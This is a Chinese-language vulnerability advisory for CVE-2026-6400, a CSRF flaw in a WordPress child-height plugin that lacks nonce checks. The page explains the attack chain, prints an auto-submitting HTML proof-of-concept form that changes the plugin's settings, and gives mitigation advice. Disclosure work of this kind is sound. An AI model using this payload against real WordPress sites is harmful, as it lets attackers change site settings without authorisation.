CVE-2026-6400 CVSS 4.3 中危

CVE-2026-6400 WP插件CSRF漏洞

披露日期: 2026-05-20

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-6400

漏洞类型

跨站请求伪造 (CSRF)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WordPress Child Height Predictor by Ostheimer 插件

漏洞概述

WordPress插件Child Height Predictor by Ostheimer在所有版本（包括1.3及以下）中存在跨站请求伪造（CSRF）漏洞。该漏洞是由于处理插件设置更新的options()函数缺少nonce验证机制导致的。攻击者可诱骗管理员点击恶意链接，从而在未经授权的情况下更改插件设置。

技术细节

该漏洞的核心原因在于插件的安全验证机制缺失。在WordPress开发中，为了防止CSRF攻击，表单处理通常需要配合wp_nonce_field()生成令牌，并在处理端使用check_admin_referer()或wp_verify_nonce()进行验证。然而，受影响插件的表单模板未包含wp_nonce_field()调用，且options()函数处理POST请求时也未进行任何nonce校验。这允许未认证的攻击者构造特制的HTML页面或链接，诱导已登录的管理员访问。当管理员的浏览器加载该页面时，会自动携带管理员会话Cookie向目标站点发送伪造的POST请求，进而通过update_option()函数修改数据库中的插件设置，如更改单位偏好等。

攻击链分析

STEP 1

步骤1

攻击者分析插件代码，发现options()函数缺少nonce验证。

STEP 2

步骤2

攻击者构造一个恶意的HTML页面，其中包含指向插件设置接口的POST请求表单，并设置恶意的参数值。

STEP 3

步骤3

攻击者通过社会工程学手段（如发送钓鱼邮件），诱导目标站点的管理员点击恶意链接或访问该页面。

STEP 4

步骤4

管理员在浏览器中访问页面时，浏览器自动携带管理员Cookie向服务器发送伪造的请求。

STEP 5

步骤5

服务器接收到请求，由于缺少验证，直接执行update_option()修改数据库中的插件设置，攻击成功。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!--
PoC for CVE-2026-6400: CSRF to change plugin settings
Usage: Host this file on a server and trick the admin to visit it.
-->
<html>
<body>
  <h1>CVE-2026-6400 PoC</h1>
  <p>Clicking the button below submits a forged request to update plugin settings.</p>
  <!-- Replace 'site_url' with the target WordPress site URL -->
  <form action="http://site_url/wp-admin/options-general.php?page=child-height-predictor" method="POST">
    <input type="hidden" name="option_name" value="malicious_value" />
    <input type="hidden" name="action" value="update" />
    <input type="submit" value="Click Me!" />
  </form>
  
  <!-- Or auto-submit using JavaScript -->
  <script>
    document.addEventListener('DOMContentLoaded', function() {
      document.forms[0].submit();
    });
  </script>
</body>
</html>

影响范围

Child Height Predictor by Ostheimer <= 1.3

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用该插件，直到官方发布安全更新。同时，管理员应警惕来源不明的链接和邮件，避免在登录状态下访问可疑网站。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表